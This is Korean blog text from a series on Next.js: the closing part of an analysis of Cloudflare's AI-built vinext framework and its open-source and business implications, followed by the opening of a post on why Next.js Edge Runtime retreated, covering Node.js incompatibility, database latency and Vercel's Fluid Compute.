기능 테스트는 "이것이 동작해야 한다"를 검증하지만, 보안 취약점은 **"이것이 동작하면 안 된다"** 의 영역이다. 테스트 스위트에 보안 테스트가 충분하지 않으면, AI는 기능적으로 올바르지만 보안적으로 취약한 코드를 생성할 수 있다. 현재까지 보고된 취약점들은 모두 수정 가능한 범주에 속하므로, 이것은 v1의 문제이기도 하다.

더 근본적인 질문은 **코드 리뷰의 부재**다. vinext의 README에는 이렇게 적혀있다:

> Humans direct architecture, priorities, and design decisions, but have not reviewed most of the code line-by-line.
>
> 사람이 아키텍처, 우선순위, 설계 결정을 지시하지만, 대부분의 코드를 한 줄씩 리뷰하지는 않았다.

사람이 아키텍처를 잡고 AI가 구현하는 모델에서, 보안 검증의 책임은 누구에게 있는가? 테스트가 명세를 대체할 수 있었던 것처럼 자동화된 보안 스캐닝이 사람의 코드 리뷰를 대체할 수 있는지는 아직 답이 나오지 않았다.

## 오픈소스라고 불렀지만

vinext의 기술적 완성도보다 더 흥미로운 것은, 이 시도가 오픈소스 생태계의 구조적 긴장을 드러냈다는 점이다.

### Vercel의 전략: 오픈소스로 생태계를 만들고, 플랫폼으로 수익화

Vercel의 비즈니스 모델은 명확하다. Next.js라는 오픈소스 프레임워크로 개발자 생태계를 구축하고, Vercel 플랫폼에서 수익을 창출한다. 외부 분석 기관 [Sacra의 추정](https://sacra.com/c/vercel/)에 따르면 Vercel의 ARR은 2025년 기준 약 $200M규모로, 2019년 $1M에서 6년간 200배 성장한 것으로 보인다. (Vercel은 비상장 기업으로 공식 매출을 공개하지 않으므로, 이 수치는 Sacra의 독자적 추정이다.) Next.js를 사용하는 85만 이상의 개발자가 잠재 고객 풀이다[^4].

이 모델 자체는 건전하다. MongoDB, Redis, Elastic 등 많은 기업이 같은 전략을 사용한다. 오픈소스로 기술을 확산시키고, 매니지드 서비스로 수익을 낸다. 문제는 **프레임워크의 설계 결정이 플랫폼의 비즈니스 이익과 충돌할 때** 발생한다.

이 글의 앞에서 이미 다뤘듯, 결과적으로 **Vercel 밖에서 Next.js를 운영하는 비용이 높아졌다**는 것은 사실이다.

Vercel은 2025년 11월에 ["The Anti-Vendor Lock-in Cloud"](https://vercel.com/blog/vercel-the-anti-vendor-lock-in-cloud)라는 블로그를 발표하며 이 비판에 대응했다:

> "Approximately 70% of Next.js applications run outside of Vercel. Every Next.js 16 application deployed on Vercel uses the same adapter API available to other platforms."
>
> "Next.js 애플리케이션의 약 70%가 Vercel 외부에서 실행된다. Vercel에 배포된 모든 Next.js 16 애플리케이션은 다른 플랫폼에서도 사용 가능한 동일한 어댑터 API를 사용한다."

이 블로그는 vinext(2026년 2월) 이전에 나왔으므로, vinext에 대한 직접적인 대응은 아니다. 하지만 Deployment Adapters RFC(2025년 4월)가 Netlify, Cloudflare, OpenNext 등 경쟁 플랫폼들의 수년간의 압력 끝에 나왔다는 점은 주목할 만하다. 락인 비판이 쌓여온 결과, Vercel이 개방 방향으로 움직인 것이다. vinext는 이 흐름의 원인이 아니라, 같은 구조적 마찰에서 비롯된 또 하나의 결과물이다.

### vinext가 뒤집은 것

vinext가 드러낸 아이러니는 이것이다: **Vercel이 오픈소스로 공개한 API 명세와 테스트 스위트가, 경쟁자가 대체재를 만드는 데 그대로 활용되었다.**

Next.js의 2,000개 이상의 테스트는 API의 기대 동작을 정확히 정의한다. vinext는 이 테스트들을 가져와 Vite 기반 구현이 같은 동작을 하는지 검증했다. 테스트 스위트가 곧 명세서였고, 명세서가 공개되어 있으니 재구현이 가능했다.

Guillermo Rauch의 반응은 격렬했다. vinext를 ["vibe-coded framework"](https://x.com/rauchg/status/2026864132423823499)이라 불렀고, Cloudflare의 전략을 이렇게 비판했다:

> "Cloudflare's mission is to fork the entire developer ecosystem and destroy open source. Vinext was an excuse to swindle developers into using their proprietary runtimes instead of @nodejs."
>
> "Cloudflare의 목표는 개발자 생태계 전체를 포크하고 오픈소스를 파괴하는 것이다. Vinext는 개발자들을 Node.js 대신 자사의 독점 런타임으로 유인하기 위한 구실이었다."

이 발언의 타당성은 논쟁의 여지가 있지만, 배경에 깔린 긴장은 실재한다.

### 빠진 시각: Netlify는 어디에 있는가

Next.js의 플랫폼 종속성이라는 같은 문제에 대해 세 회사가 서로 다른 답을 택했다. Cloudflare는 재구현, Vercel은 Deployment Adapters API, Netlify는 Next.js에 대한 의존도 자체를 낮추는 방향이다.

Netlify는 `nextjs-sentinel`까지 만들어 Next.js 지원 비용을 감당해왔고, Eduardo Boucas의 `minimalMode` 분석글도 이 글에서 인용했다. 그런데 vinext에 대한 공식 입장은 없다. [Netlify 배포를 위한 PR](https://github.com/cloudflare/vinext/pull/76)이 DRAFT 상태로 존재하지만 작성자는 Netlify 직원이 아니다. Netlify의 Edge Functions는 Deno 기반이라 Workers와 런타임이 다르고, "composable architecture"로 피봇하면서 프레임워크 종속도를 줄이고 있다. 이 세 가지 대응이 모두 같은 구조적 문제에서 비롯되었다는 점이 오히려 문제의 심각성을 방증한다.

### 기업 주도 오픈소스의 지속 가능성

vinext 사례가 반복되면 어떻게 될까? 기업이 프레임워크를 오픈소스로 공개하고, 그 테스트 스위트와 API 명세를 경쟁자가 가져다 대체재를 만드는 패턴이 일반화된다면?

이 질문에 대한 선례가 있다. MongoDB(SSPL), Elastic(SSPL→AGPL), HashiCorp(BSL) 등은 경쟁적 사용을 제한하는 라이선스로 전환했다. 하지만 이들은 "인프라 소프트웨어"였고, Next.js는 "프레임워크"다. 프레임워크의 가치는 생태계 크기에 비례하므로, 라이선스를 제한하면 생태계가 쪼그라들고 프레임워크의 가치도 함께 떨어진다. Next.js가 MIT에서 다른 라이선스로 전환할 가능성은 낮다고 본다.

더 현실적인 경로는 **어댑터 API를 통한 공존**이다. Deployment Adapters API가 성숙해지면, Cloudflare도 공식 어댑터를 통해 Next.js를 지원할 수 있고, vinext 같은 재구현의 필요성이 줄어든다. Vercel 입장에서는 생태계가 건강해지고, Cloudflare 입장에서는 역공학 없이 안정적인 지원이 가능해진다.

"오픈소스가 죽는다"는 아니다. 하지만 **"기업이 프레임워크를 오픈소스로 유지할 인센티브"** 에 대한 질문은 유효하다. 공개된 API 명세와 테스트가 경쟁자의 무기가 된다면, 기업은 어느 수준까지 공개할 것인가? vinext는 이 질문을 처음 던진 것이 아니라, AI라는 변수가 추가되면서 구현 비용이 극적으로 낮아진 세계에서 이 질문을 다시 던진 것이다.

## vinext는 실제로 Workers 채택을 늘릴 수 있는가

글의 처음으로 돌아가자. Cloudflare의 Edge 전략에서 빠진 마지막 퍼즐은 개발자 경험이었고, vinext는 그 답이라고 했다. 그렇다면 vinext + Workers 조합이 실제로 Next.js 개발자를 Cloudflare로 끌어올 수 있을까?

### 인프라는 준비되었다, 문제는 전환 비용

[이전 글](/2026/03/nextjs-edge-runtime-rise-and-fall)에서 다뤘듯, Cloudflare가 같은 Edge 기술로 Vercel과 다른 결과를 낸 이유는 D1, KV, Durable Objects, R2로 컴퓨트와 데이터를 모두 Edge에 올렸기 때문이다. vinext가 이 인프라와 네이티브로 통합된다면, Vercel + AWS RDS 조합에서는 불가능한 진짜 Edge 렌더링이 가능해진다. TPR(Traffic-aware Pre-Rendering)은 CDN과 프레임워크가 한 지붕 아래 있어야만 가능한 최적화의 좋은 예시다.

하지만 이 장점이 현실의 전환 비용을 넘어설 수 있는지는 별개의 문제다. Next.js 개발자가 vinext로 전환한다는 것은 단순히 빌드 도구를 바꾸는 것이 아니다:

- **ORM 전환**: Prisma + PostgreSQL에서 Drizzle + D1(SQLite)으로
- **인증 전환**: Auth.js의 다양한 DB 어댑터에서 D1 기반으로
- **파일 스토리지 전환**: S3에서 R2로
- **모니터링 전환**: Datadog/Sentry에서 Cloudflare의 도구로

각각은 작은 변경이 아니다. 특히 Prisma → D1 전환은 SQL 방언(PostgreSQL → SQLite)까지 바뀌므로, 쿼리 레벨의 마이그레이션이 필요하다. vinext가 Next.js와 94% 호환이라 해도, 나머지 스택의 전환 비용이 크다면 DX 개선 효과가 상쇄된다.

### Deployment Adapters API가 성숙하면 vinext는 어떻게 되는가

이것이 vinext의 존재 의미와 직결되는 질문이다.

Deployment Adapters API가 안정화되면, Cloudflare는 공식 어댑터만으로 Next.js를 Workers에서 돌릴 수 있다. OpenNext의 역공학도, vinext의 재구현도 필요 없어진다. 그러면 vinext는 불필요해지는 것인가?

반드시 그렇지는 않다. vinext의 가치는 "Next.js를 Workers에서 돌리는 것"만이 아니라 **Vite 기반이라는 점**에도 있다. 이 차이는 Deployment Adapters API로 해결되지 않는다. 공식 어댑터가 나와도 빌드 도구는 여전히 Turbopack이기 때문이다.

Turbopack은 Next.js 15에서 dev 모드가 안정화되었지만, 프로덕션 빌드는 아직 성숙 과정에 있다. OOM 에러, 2분 이상 빌드 후 크래시, webpack 대비 동작 불일치, 소스맵이 항상 생성되어 소스 코드가 노출되는 문제 등이 [GitHub Discussion](https://github.com/vercel/next.js/discussions/77721)에서 보고되고 있다. 무엇보다 Turbopack은 Next.js 전용이다. 초기에는 프레임워크 무관한 범용 번들러를 지향했지만, 현재는 Next.js 빌드 파이프라인에 결합되어 있고 독립 사용은 불가능하다.

반면 Vite는 1,000개 이상의 커뮤니티 플러그인(Rollup 생태계 계승), React/Vue/Svelte/SolidJS 등 멀티 프레임워크 지원, 그리고 Vite 8에서 도입된 [Rolldown](https://rolldown.rs/)(Rust 기반 번들러)으로 프로덕션 빌드 성능까지 크게 개선되었다. vinext의 벤치마크에서 Vite 8 + Rolldown 조합이 Turbopack 대비 4.4배 빠른 빌드, 2.3배 작은 번들을 기록한 것은 이 조합의 잠재력을 보여준다. 빌드 도구로서의 성숙도와 생태계 면에서 Vite가 현재 더 안정적이라는 것은 vinext의 존재 이유 중 하나다.

그러나 현실적으로 보면, **API 호환성 94%의 재구현**보다 **공식 어댑터를 통한 100% 호환**이 대부분의 팀에게 더 안전한 선택이다. vinext는 Vite 생태계를 선호하는 일부 팀에게는 매력적이겠지만, Next.js 개발자의 대다수에게 Cloudflare가 제공해야 할 것은 안정적인 공식 어댑터다.

결국 vinext의 장기적 역할은 세 가지 중 하나가 될 것이다:

1. **Deployment Adapters API의 촉매제로서 역사적 역할을 마치는 것** — vinext가 없었다면 Vercel이 어댑터 API를 이 속도로 도입했을까? 경쟁 압력이 개방성을 촉진했다면, vinext는 이미 목적을 달성한 셈이다.
2. **Vite 기반 Next.js 호환 프레임워크로 독립적 포지션을 잡는 것** — "Next.js API + Vite 빌드"라는 조합이 충분한 개발자를 끌어모을 경우.
3. **Cloudflare의 자체 프레임워크로 진화하는 것** — Next.js API 호환을 유지하면서도 Cloudflare 인프라에 최적화된 기능(TPR 등)을 추가해, 점차 독자적 프레임워크로 분화하는 경로.

어느 방향이든, vinext가 "프로덕션에서 Next.js를 대체하는 프레임워크"가 되려면 94%가 아닌 100%에 가까운 호환성, 보안 안정화, 그리고 Cloudflare 이외 플랫폼에서의 검증이 필요하다. 현재로서는 갈 길이 멀다.

## 결론

vinext를 범용적인 프로덕션 대체재로 보기는 아직 이르다. Cloudflare는 일부 프로덕션에서 실제로 사용했다고 주장하지만서도, README는 프로젝트를 experimental로 규정하고 있고 사람들은 아직 AI가 만든 이 제품에 대해서 프로덕션에 섣불리 적용하려 하지는 않을 것이다.

그럼에도 vinext가 의미있는 이유는, 왜 Deployment Adapters API 같은 공식 해법이 필요한지를 가장 극적으로 드러냈기 때문이다. Deployment Adapters RFC(2025년 4월)는 vinext(2026년 2월)보다 먼저 나왔고, 별도의 흐름으로 진행되고 있었다. vinext는 그 흐름의 원인이 아니라, 같은 구조적 마찰이 얼마나 심각한지를 보여주는 증상이다. 그 API가 성숙해지면 vinext의 역할은 자연스럽게 재정의된다.

장기적으로, **vinext가 살아남는다면 그것은 Next.js의 대체재가 아니라 Vite 생태계의 Next.js 호환 레이어로서일 것이다.** "Next.js의 API 설계는 좋지만, 빌드 도구와 배포 파이프라인은 Vite/Nitro 기반이 낫다"는 선택지 — Turbopack이 Next.js 전용으로 고착되는 동안 이 포지션이 유효해질 수 있다. 그 경로에 도달하려면 호환성, 보안, Cloudflare 밖에서의 실전 검증이 먼저다.

[^1]: [netlify/nextjs-sentinel](https://github.com/netlify/nextjs-sentinel) — Next.js 릴리스를 모니터링하여 Netlify 어댑터에 영향을 줄 수 있는 변경사항을 자동 감지하는 도구.

[^2]: [How we rebuilt Next.js with AI in one week — Cloudflare Blog](https://blog.cloudflare.com/vinext/)

[^3]: Steve Faulkner의 발언. [Cloudflare Releases Experimental Next.js Alternative — InfoQ](https://www.infoq.com/news/2026/03/cloudflare-vinext-experimental/)

[^4]: [Building the most ambitious sites on the Web with Vercel and Next.js 14 — Vercel Blog](https://vercel.com/blog/building-the-most-ambitious-sites-on-the-web-with-vercel-and-next-js-14) (2023년 11월 기준 수치)

[^5]: [Test suites are specs — paddo.dev](https://paddo.dev/blog/vinext-test-suites-are-specs/)

[^6]: [GitHub Issue #51823 — stale-while-revalidate header used without delta-seconds](https://github.com/vercel/next.js/issues/51823). AWS CloudFront에서 헤더가 무시되는 문제가 보고되었다.

[^7]: 비표준 형식이 Vercel CDN(구 Now CDN) 전용으로 설계되었음을 확인하는 PR: [#8866 — Remove stale-if-error header from SPR](https://github.com/vercel/next.js/pull/8866)

[^8]: [PR #70674 — Changed default SWR delta value to 1 year](https://github.com/vercel/next.js/pull/70674). Next.js 15에서 `swrDelta`가 `expireTime`으로 [개명](https://github.com/vercel/next.js/pull/71159)되어 안정화되었다.

---

Source: https://yceffort.kr/2026/03/nextjs-edge-runtime-rise-and-fall.md
Title: Next.js <em>Edge Runtime</em>의 흥망성쇠
Description: Edge Middleware 야 잘 살고 있니?
Date: 2026-03-16
Tags: nextjs, edge-computing, serverless, web-performance, vercel
Series: Next.js의 현주소

## Table of Contents

## 서론

2022년, Vercel은 Edge의 적용 범위를 빠르게 넓혔다. Middleware에 이어 [Edge API Routes](https://nextjs.org/blog/next-12-2#edge-api-routes-experimental), Edge SSR까지 — Next.js의 모든 서버 사이드 코드를 Edge에서 실행할 수 있도록 확장해 나갔다. [Edge Functions 정식 출시 발표](https://vercel.com/blog/edge-functions-generally-available)에서는 "기존 Serverless보다 더 효율적이고 빠르다"고 했고, OG Image 생성 비용이 Serverless 대비 15배 저렴하다는 수치를 내세웠다. 커뮤니티에서는 자연스럽게 Edge가 Serverless를 대체하는 미래라는 기대가 형성되었다.

```ts
// app/api/hello/route.ts
export const runtime = 'edge' // 이 한 줄이면 전 세계 Edge에서 실행

export async function GET() {
  return new Response('Hello from the Edge!')
}
```

4년이 지난 지금, 그 비전은 어떻게 되었을까? Next.js 공식 문서에서는 Node.js 런타임을 권장하고, Next.js 16에서 Middleware를 대체하는 새로운 `proxy`는 Node.js only로 설계되었다.

이 글에서는 Next.js Edge Runtime이 어떻게 등장했고, 왜 후퇴했으며, 그 과정에서 우리가 배울 수 있는 것은 무엇인지를 나름대로 추적해 보았다.

## 타임라인: Edge의 부상과 후퇴

### 2021년 10월 — Middleware의 등장

Next.js 12에서 [Middleware](https://nextjs.org/blog/next-12#introducing-middleware)가 베타로 도입되었다. 요청이 라우트에 도달하기 전에 Edge에서 실행되는 코드로, A/B 테스트, 지역 기반 리다이렉트, 인증 검사 같은 용도였다. V8 Isolate 기반으로 콜드 스타트 없이 즉시 실행된다는 점이 핵심 셀링 포인트였다.

```ts
// middleware.ts (Next.js 12 beta)
export function middleware(req: NextRequest) {
  const country = req.geo?.country
  if (country === 'KR') {
    return NextResponse.rewrite(new URL('/ko', req.url))
  }
}
```

Middleware는 성공적이었다. 요청 레벨의 라우팅 로직을 Edge에서 실행하는 것은 합리적인 유스케이스였고, 실제로 체감할 수 있는 성능 개선이 있었다.

### 2022년 — Edge 확장의 해

Next.js 12.2에서 [Edge API Routes](https://nextjs.org/blog/next-12-2#edge-api-routes-experimental)가 실험적으로 도입되었고, 같은 해 12월에는 [Edge Functions가 정식 출시](https://vercel.com/blog/edge-functions-generally-available)되었다. Next.js 13에서는 App Router와 함께 `export const runtime = 'edge'`를 선언하면 페이지의 서버 컴포넌트까지 Edge에서 렌더링할 수 있게 되었다.

Vercel의 정식 출시 발표에서는 Edge Functions를 "기존 Serverless 대비 더 효율적이고 빠른 컴퓨트"로 포지셔닝하면서, 성능과 비용 특성에 따라 실행 환경을 선택하라고 안내했다. 하지만 Middleware → API Routes → SSR까지 Edge 적용 범위를 빠르게 넓혀가는 행보 자체가 메시지였다. 커뮤니티에서는 "Edge가 Serverless를 대체할 것"이라는 기대가 커졌다.

### 2023년 — 현실과의 충돌

App Router가 안정화되면서, 실제로 Edge Runtime을 프로덕션에 도입하려는 시도가 늘었다. 그리고 문제가 터져나왔다.

GitHub Issues에 올라온 대표적인 불만들은 다음과 같다:

- [Prisma가 Edge에서 동작하지 않는다](https://github.com/prisma/prisma/issues/21310) — ORM 없이 앱을 만들 수 있는가?
- [next-auth(Auth.js)가 Edge를 완전 지원하지 못한다](https://github.com/nextauthjs/next-auth/issues/9702) — 인증 없이 앱을 만들 수 있는가?
- `crypto`, `fs`, `net` 등 Node.js 핵심 모듈을 쓸 수 없다 — 기존 npm 패키지의 대다수가 동작하지 않는다

우리팀에서도 실험적으로 미들웨어를 도입하면서 상당히 많은 우여곡절이 있었다. 그리고 많은 사람들이 잘 아는 것 처럼, Next.js 가 커뮤니티에 올라오는 불만이나 이슈를 빠르게 해결하는 편도 아니었기에 점차 불만이 커져갔고, 그와 동시에 커뮤니티의 온도가 급격히 식은 것도 이맘때 쯤 이었던 것으로 기억한다.

### 2024년 — 조용한 후퇴

Vercel은 2024년 중반 [Fluid Compute](https://vercel.com/blog/introducing-fluid-compute)를 발표했다. Serverless Function의 콜드 스타트를 사실상 제거하고, 하나의 인스턴스가 여러 요청을 동시에 처리할 수 있게 하는 기술이었다. Edge Runtime의 존재 이유였던 "콜드 스타트 없는 빠른 응답"을 Node.js 런타임에서도 달성할 수 있게 된 것이다.

Next.js 공식 문서의 톤도 변화를 보인다. [v14 문서](https://nextjs.org/docs/14/app/building-your-application/rendering/edge-and-nodejs-runtimes)에서는 Edge Runtime을 "Lowest latency", "Highest scalability"로 소개하며 Node.js와 중립적으로 비교했지만, [v16 문서](https://nextjs.org/docs/app/api-reference/file-conventions/route-segment-config#runtime)에서는 "We recommend using the Node.js runtime for rendering your application"으로 명확히 Node.js를 권장하고 있다.

### 2025~2026년 — 조용한 퇴장

`export const runtime = 'edge'`가 공식적으로 "deprecated"라고 선언된 적은 없다. [Next.js 문서](https://nextjs.org/docs/app/api-reference/file-conventions/route-segment-config#runtime)에서는 여전히 `'nodejs' | 'edge'`를 유효한 옵션으로 명시하고 있다. 다만 같은 문서에서 이렇게 안내한다:

> We recommend using the Node.js runtime for rendering your application.

그리고 Next.js 16에서 더 의미심장한 변화가 일어났다. `middleware.ts`가 [`proxy.ts`로 개명](https://nextjs.org/docs/app/guides/upgrading/version-16)되면서, **새로운 `proxy`는 Node.js only로 설계되었다.** 기존 `middleware.ts`를 유지하면 Edge runtime을 계속 쓸 수 있지만, 프레임워크가 나아가는 방향은 명확하다.

> The `edge` runtime is **NOT** supported in `proxy`. The `proxy` runtime is `nodejs`, and it cannot be configured. If you want to continue using the `edge` runtime, keep using `middleware`.

왜 이렇게 되었을까? Middleware는 원래 가벼운 라우팅(리다이렉트, 헤더 조작, 지역 판별)을 위한 것이었지만, 현실에서 개발자들은 인증(세션 검증에 DB 접근 필요), 로깅(Pino/Winston 불가), 암호화(`crypto` 불가) 같은 작업을 해야 했다. Edge의 제약 때문에 Middleware 안에서 `/api/authenticate` 같은 별도 엔드포인트를 호출하는 우회 패턴이 만연했다. [GitHub Discussion](https://github.com/vercel/next.js/discussions/71727)에서 이 문제에 대한 커뮤니티의 불만이 쏟아졌고, Lee Robinson도 ["Middleware의 의도는 quick redirects, rewrites, headers/cookies 설정이지 blocking data fetching이 아니다"](https://github.com/vercel/next.js/discussions/71727)라고 인정했다. 하지만 현실의 요구를 무시할 수는 없었고, Next.js 팀은 v15.2에서 Middleware에 Node.js runtime을 실험적으로 도입한 뒤, v16에서 `proxy`로 개명하면서 Node.js only로 정리했다.

여기에 더해, [proxy.js 문서](https://nextjs.org/docs/app/api-reference/file-conventions/proxy)에서는 Middleware(proxy) 자체의 사용도 줄이겠다고 한다:

> Middleware is highly capable, so it may encourage the usage; however, this feature is recommended to be used as a last resort.

"Middleware는 너무 강력해서 남용되기 쉽다. 다른 방법이 없을 때만 최후의 수단으로 쓰라." 앞으로는 Middleware 없이도 같은 목적을 달성할 수 있는 API를 제공하겠다는 선언이다.

Edge의 대표 유스케이스였던 Middleware는 여전히 Edge에서 동작하지만, 그 후속인 `proxy`는 Node.js only이고 최후의 수단으로 격하되었다. 공식적인 deprecation 선언은 없지만, Edge Runtime의 적용 범위는 점진적으로 축소되고 있다.

## 왜 범용 런타임으로 자리잡지 못했나 (1): Node.js 반쪽짜리 호환

Edge Runtime은 [Web API 기반](https://edge-runtime.vercel.app/)으로, Node.js API를 사용할 수 없다. `Request`, `Response`, `fetch` 같은 표준 Web API만 쓸 수 있다는 것이 "장점"으로 포장되었지만, 현실에서는 치명적인 제약이었다.

### npm 생태계와의 단절

npm 패키지의 상당수는 Node.js 내장 모듈에 의존한다. `fs`, `path`, `crypto`, `net`, `child_process` — 이 중 하나라도 `import`하는 패키지는 Edge에서 동작하지 않는다.

Edge에서 동작하지 않았던 핵심 라이브러리들:

| 라이브러리              | 이유                     | 영향                  |
| ----------------------- | ------------------------ | --------------------- |
| **Prisma**              | `fs`, `path`, `net` 의존 | ORM 사용 불가         |
| **bcrypt**              | C++ native addon         | 비밀번호 해싱 불가    |
| **jsonwebtoken**        | Node.js `crypto` 의존    | JWT 검증 불가         |
| **Auth.js (next-auth)** | 위 라이브러리들에 의존   | 인증 시스템 구축 난관 |
| **winston/pino**        | `fs`, `stream` 의존      | 구조적 로깅 불가      |
| **sharp**               | Native addon (libvips)   | 이미지 처리 불가      |

이 목록을 보면 Edge에서 무엇을 할 수 **있었는지**가 오히려 궁금해진다. 데이터베이스 접근, 인증, 이미지 처리, 로깅 — 웹 애플리케이션의 기본 기능 대부분이 막혀있었다.

### "Edge-compatible" 버전의 등장과 혼란

일부 라이브러리는 Edge 호환 버전을 별도로 만들었다. Prisma의 [Edge Client](https://www.prisma.io/docs/orm/prisma-client/deployment/edge/overview), Auth.js의 Edge 지원 등. 하지만 이는 생태계를 분열시켰다.

```ts
// Node.js 환경
import {PrismaClient} from '@prisma/client'

// Edge 환경
import {PrismaClient} from '@prisma/client/edge'
```

같은 기능인데 import 경로가 다르다. Edge 호환 버전은 기능이 축소되어 있거나, 추가 설정(connection pool URL 등)이 필요했다. 개발자는 런타임에 따라 코드를 분기해야 했고, 이는 유지보수 부담으로 이어졌다.

## 왜 범용 런타임으로 자리잡지 못했나 (2): 데이터는 Edge에 없다

호환성 문제를 우회하더라도, 더 근본적인 구조적 문제가 남아있었다. **레이턴시 역설**이다.

Edge의 약속은 단순했다: 서울에 있는 사용자의 요청을 서울의 Edge 노드에서 처리하면, 미국 동부의 서버까지 왕복할 필요가 없으니 빠르다. 이론적으로는 맞다. **정적 콘텐츠를 서빙할 때는.**

문제는 현실의 웹 애플리케이션이 거의 반드시 **데이터베이스에 접근**한다는 것이다. 그리고 데이터베이스는 Edge에 없다. 대부분의 경우 한두 개의 리전에 집중되어 있다.

```text
[사용자: 서울] → [Edge 노드: 서울] → [DB: us-east-1]
                  ↑ 여기서 코드 실행         ↑ 데이터는 여기
                  RTT: ~2ms                   RTT: ~150ms
```

코드 실행은 서울에서 하지만, 데이터를 가져오려면 결국 미국까지 왕복해야 한다. **레이턴시의 병목은 코드 실행이 아니라 데이터 접근**이었다. Edge에서의 2ms 실행 시간 절약은 150ms의 DB 왕복 시간 앞에서 의미가 없었다.

반면 Node.js Serverless Function은 DB와 같은 리전에 배치할 수 있다:

```text
[사용자: 서울] → [Serverless: us-east-1] → [DB: us-east-1]
                  RTT: ~150ms                RTT: ~2ms
```

총 레이턴시는 비슷하거나, DB 쿼리가 여러 번 필요한 경우 오히려 Serverless가 더 빨랐다. N+1 쿼리 패턴에서 Edge는 재앙적이었다:

```text
Edge:    150ms × N (매 쿼리마다 대양 횡단)
Node.js: 150ms + 2ms × N (첫 요청만 대양 횡단, 이후 로컬)
```

### "그러면 Edge를 DB 리전에 두면 되지 않나?"

여기서 자연스러운 의문이 생긴다. Edge Function을 DB와 같은 리전에 고정하면 두 장점을 모두 취할 수 있지 않을까? 실제로 Vercel도 [Regional Edge Functions](https://vercel.com/changelog/regional-edge-functions-are-now-available)를 제공하여 특정 리전에서만 실행되도록 설정할 수 있다.

하지만 이렇게 하면 Edge의 존재 이유 자체가 사라진다. Edge의 핵심 가치는 **글로벌 분산 배치**다. 특정 리전에 고정하는 순간, 그것은 그냥 "Web API만 쓸 수 있는 제약이 있는 Serverless Function"이다. Node.js의 전체 API와 npm 생태계를 포기하면서까지 Edge Runtime을 선택할 이유가 없어진다.

정리하면 이런 딜레마다:

- **글로벌 분산 배치** → Edge의 장점을 살리지만, DB 레이턴시 문제 발생
- **DB 리전 고정** → DB 레이턴시를 해결하지만, Edge의 장점이 사라짐

어느 쪽을 택해도 Edge Runtime이 Node.js Serverless 대비 명확한 이점을 갖기 어려웠다.

### 레이턴시만이 아니다: Connection 관리의 문제

Edge에서 DB가 어려운 이유는 레이턴시뿐이 아니다. **커넥션 관리** 문제가 있다. 전통적인 서버는 DB와의 커넥션 풀을 유지하면서 커넥션을 재사용한다. 하지만 Edge Isolate는 수명이 짧다. 요청이 끝나면 Isolate가 사라지고, 커넥션도 함께 사라진다. 매 요청마다 새로운 TCP 커넥션을 맺어야 하는 것이다.

```text
전통적 서버:
[서버 시작] → [커넥션 풀 생성 (5개)] → 요청마다 재사용

Edge Isolate:
요청1 → [커넥션 생성] → [쿼리] → [커넥션 종료]
요청2 → [커넥션 생성] → [쿼리] → [커넥션 종료]  ← 매번 새로 생성
```

이 문제를 해결하기 위해 HTTP 기반의 DB 드라이버들이 등장했다. [Prisma Data Proxy](https://www.prisma.io/docs/orm/prisma-client/deployment/edge/overview), [Neon HTTP driver](https://neon.tech/docs/serverless/serverless-driver), [PlanetScale HTTP driver](https://planetscale.com/docs/tutorials/planetscale-serverless-driver) 같은 것들이다. TCP 커넥션 대신 HTTP 요청으로 쿼리를 보내는 방식이다. 하지만 이는 또 하나의 프록시 레이어를 추가하는 것이고, 기존 ORM 사용법과 달라지는 문제가 있었다.

Vercel의 [Sam Lambert(전 PlanetScale CEO)](https://x.com/isamlambert)도 이 문제를 인정한 바 있다:

> "If your data isn't at the edge, your compute shouldn't be either."

## 왜 범용 런타임으로 자리잡지 못했나 (3): Fluid Compute가 존재 이유를 없앴다

Edge Runtime의 핵심 셀링 포인트를 정리하면 두 가지였다:

1. **콜드 스타트 제거**: V8 Isolate 기반이라 즉시 실행
2. **글로벌 분산**: 사용자 가까이에서 실행

2번은 데이터 레이턴시 역설로 무력화되었고, 1번은 Vercel의 [Fluid Compute](https://vercel.com/blog/introducing-fluid-compute)가 해결했다.

Fluid Compute는 2025년 2월에 발표된 Vercel의 새로운 컴퓨트 모델이다. 전통적인 Serverless와 전용 서버 사이에 위치하는 접근으로, Vercel은 이를 "고성능 미니 서버"라고 표현한다. 핵심 아이디어는 세 가지다:

1. **인스턴스 재사용**: 함수가 응답을 보낸 뒤에도 즉시 종료하지 않고 대기한다. 다음 요청이 들어오면 이미 warm 상태인 인스턴스가 처리한다.
2. **동시성(Concurrency)**: 하나의 인스턴스가 여러 요청을 동시에 처리할 수 있다. I/O 대기 중인 유휴 시간에 다른 요청을 받는 방식이다.
3. **빠른 초기화**: Rust 기반 런타임과 바이트코드 캐싱으로, 콜드 스타트가 발생하더라도 초기화 시간을 단축한다.

```text
전통적 Serverless:
요청1 → [콜드 스타트 + 실행] → 종료
요청2 → [콜드 스타트 + 실행] → 종료  ← 매번 콜드 스타트

Fluid Compute:
요청1 → [콜드 스타트 + 실행] → 대기
요청2 → [실행] → 대기                ← 콜드 스타트 없음
요청3 → [실행] → 대기                ← 콜드 스타트 없음
```

Vercel은 이를 통해 컴퓨트 비용을 최대 85% 절감할 수 있다고 [주장한다](https://vercel.com/blog/introducing-fluid-compute). Fluid Compute의 발표 자체가 Edge Runtime의 대체를 직접 언급하지는 않았지만, 결과적으로 Edge의 핵심 장점이었던 "콜드 스타트 없는 빠른 응답"을 Node.js 환경에서도 달성할 수 있게 되었다. Node.js의 전체 API와 npm 생태계를 그대로 쓰면서.

## Edge는 완전히 죽었나?

Next.js에서의 Edge Runtime은 후퇴했지만, Edge Computing 자체가 죽은 것은 아니다. 오히려 다른 곳에서는 번성하고 있다.

### Cloudflare Workers: 같은 Edge, 다른 결과

Cloudflare Workers도 V8 Isolate 기반의 Edge Computing이다. 기술적 기반은 Vercel Edge Runtime과 동일하다. 그런데 Cloudflare는 후퇴하지 않았다. 차이는 어디에서 왔을까?

**첫째, 데이터를 Edge로 가져왔다.** Next.js Edge Runtime이 실패한 가장 큰 이유는 "데이터가 Edge에 없다"였다. Cloudflare는 이 문제를 인프라 레벨에서 해결했다.

- [D1](https://developers.cloudflare.com/d1/) — Edge에서 접근 가능한 SQLite 데이터베이스. Workers와 같은 위치에서 실행되어 DB 쿼리 레이턴시를 제거한다.
- [KV](https://developers.cloudflare.com/kv/) — 전역 분산 Key-Value 스토어. 읽기에 최적화되어 설정, 기능 플래그 등에 적합하다.
